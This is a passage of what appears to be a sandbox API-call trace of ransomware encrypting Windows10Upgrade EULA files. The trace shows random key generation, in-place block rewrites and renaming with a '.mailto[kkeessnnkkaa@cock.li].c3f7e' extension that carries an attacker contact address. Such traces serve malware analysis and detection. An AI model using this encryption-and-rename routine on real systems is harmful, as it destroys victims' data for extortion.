	[0088.610] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bb0
	[0088.610] GetFileSizeEx (in: hFile=0x1bb0, lpFileSize=0x2bcbfca4 | out: lpFileSize=0x2bcbfca4*=75137) returned 1
	[0088.610] SetFilePointerEx (in: hFile=0x1bb0, liDistanceToMove=0x1257d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.610] ReadFile (in: hFile=0x1bb0, lpBuffer=0x2bcbfc28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bcbfc24, lpOverlapped=0x0 | out: lpBuffer=0x2bcbfc28*, lpNumberOfBytesRead=0x2bcbfc24*=0x4, lpOverlapped=0x0) returned 1
	[0088.611] SetFilePointerEx (in: hFile=0x1bb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.611] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.611] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.611] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.611] NtQuerySystemTime (in: CurrentTime=0x2bcbfc04 | out: CurrentTime=0x2bcbfc04*=132251868153506732) returned 0x0
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x470fa7bf
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xbf3aa3fc
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x8b9fe341
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x8f41fe65
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xeae0f354
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xb3750f5c
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xd91e624
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xa8f2fb63
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x3d130ac3
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x87ce9db2
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xe6cd669c
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xfb9ea564
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x38d979f9
	[0088.611] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x2a43c815
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x22a56533
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xb2f748e
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x2c3c7c05
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x84a97385
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xf4e7c7d2
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x627446e6
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xbdb81a75
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x8e54b987
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xb6d894c3
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x24edaf04
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x583d0605
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xe7413523
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x34028c96
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xe3cd7029
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xcfd29cb4
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0x484d6f57
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xb3e7eda2
	[0088.612] RtlRandom (in: Seed=0x2bcbfc10 | out: Seed=0x2bcbfc10) returned 0xf3139609
	[0088.620] SetFilePointerEx (in: hFile=0x1bb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.620] ReadFile (in: hFile=0x1bb0, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bcbfbe4, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bcbfbe4*=0xc800, lpOverlapped=0x0) returned 1
	[0088.621] SetFilePointerEx (in: hFile=0x1bb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.621] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.622] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.623] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.623] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.623] WriteFile (in: hFile=0x1bb0, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bcbfbe4, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2bcbfbe4*=0xc800, lpOverlapped=0x0) returned 1
	[0088.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.624] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.624] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2d7bff8
	[0088.624] SetFilePointerEx (in: hFile=0x1bb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.624] WriteFile (in: hFile=0x1bb0, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2bcbfc64, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2bcbfc64*=0x10d, lpOverlapped=0x0) returned 1
	[0088.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c0d8) returned 1
	[0088.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bff8) returned 1
	[0088.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.626] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.626] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm"
	[0088.626] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.626] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bcbfc1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.626] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.627] NtQueryInformationFile (in: FileHandle=0x1bb0, IoStatusBlock=0x2bcbfc28, FileInformation=0x2bcbfc00, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bcbfc28, FileInformation=0x2bcbfc00) returned 0x0
	[0088.627] NtSetInformationFile (FileHandle=0x1bb0, IoStatusBlock=0x2bcbfc28, FileInformation=0x2bcbfc00, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.628] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.628] FlushFileBuffers (hFile=0x1bb0) returned 1
	[0093.257] CloseHandle (hObject=0x1bb0) 

Thread:
	id = 1265
	os_tid = 0x1210

	[0088.626] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm")) returned 0x20
	[0088.629] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm", dwFileAttributes=0x20) returned 1
	[0088.630] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bb4
	[0088.630] GetFileSizeEx (in: hFile=0x1bb4, lpFileSize=0x2bd3f854 | out: lpFileSize=0x2bd3f854*=266731) returned 1
	[0088.630] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x411e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.630] ReadFile (in: hFile=0x1bb4, lpBuffer=0x2bd3f7d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bd3f7d4, lpOverlapped=0x0 | out: lpBuffer=0x2bd3f7d8*, lpNumberOfBytesRead=0x2bd3f7d4*=0x4, lpOverlapped=0x0) returned 1
	[0088.631] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.631] NtQuerySystemTime (in: CurrentTime=0x2bd3f7b4 | out: CurrentTime=0x2bd3f7b4*=132251868153663052) returned 0x0
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x7434cc33
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xbd192a6c
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x64d6ffa6
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x5d6460ba
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x1be45ec3
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xbe09ff07
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x11016469
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x3967889c
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x7e70b331
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x8277f83a
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x998403d2
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x18a361ed
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xd8f1d578
	[0088.631] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xab5eeede
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xddd90326
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x67b34792
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xbf3d8b82
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x8bd0e186
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xb9b2a739
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xe83aee
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x4af74846
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xb4dd21e
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xcd858764
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xb326b06a
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xfbefd062
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x6ab88752
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x18fd8bbe
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x9384979c
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xf1e85f29
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xda2d75dc
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0xed5ec8a4
	[0088.632] RtlRandom (in: Seed=0x2bd3f7c0 | out: Seed=0x2bd3f7c0) returned 0x785250d3
	[0088.640] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.640] ReadFile (in: hFile=0x1bb4, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bd3f76c, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bd3f76c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.642] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.642] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.642] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.642] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.642] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.643] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.644] WriteFile (in: hFile=0x1bb4, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bd3f76c, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2bd3f76c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.645] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.645] ReadFile (in: hFile=0x1bb4, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bd3f76c, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bd3f76c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.646] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.646] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0088.646] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0088.646] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0088.646] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ec0) returned 1
	[0088.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0088.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0088.648] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0088.648] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0088.648] WriteFile (in: hFile=0x1bb4, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bd3f76c, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2bd3f76c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.649] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x349eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.649] ReadFile (in: hFile=0x1bb4, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bd3f76c, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bd3f76c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.649] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x349eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0088.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0088.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0088.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0088.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0088.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0088.651] WriteFile (in: hFile=0x1bb4, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2bd3f76c, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2bd3f76c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0088.652] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.652] WriteFile (in: hFile=0x1bb4, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x2bd3f814, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2bd3f814*=0x14d, lpOverlapped=0x0) returned 1
	[0088.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a4d0) returned 1
	[0088.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0088.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c0d8) returned 1
	[0088.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0088.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a198
	[0088.653] wcscpy (in: _Dest=0x481a198, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm"
	[0088.654] wcscat (in: _Dest=0x481a198, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.654] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2bd3f7cc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.654] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e9d20
	[0088.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9d20) returned 1
	[0088.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2db60) returned 1
	[0088.654] NtQueryInformationFile (in: FileHandle=0x1bb4, IoStatusBlock=0x2bd3f7d8, FileInformation=0x2bd3f7b0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bd3f7d8, FileInformation=0x2bd3f7b0) returned 0x0
	[0088.654] NtSetInformationFile (FileHandle=0x1bb4, IoStatusBlock=0x2bd3f7d8, FileInformation=0x2bd3f7b0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.655] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0088.655] FlushFileBuffers (hFile=0x1bb4) returned 1
	[0093.257] CloseHandle (hObject=0x1bb4) 

Thread:
	id = 1266
	os_tid = 0x2004

	[0088.645] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm")) returned 0x20
	[0088.645] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm", dwFileAttributes=0x20) returned 1
	[0088.648] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bb8
	[0088.648] GetFileSizeEx (in: hFile=0x1bb8, lpFileSize=0x2bdbfb00 | out: lpFileSize=0x2bdbfb00*=126241) returned 1
	[0088.649] SetFilePointerEx (in: hFile=0x1bb8, liDistanceToMove=0x1ed1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
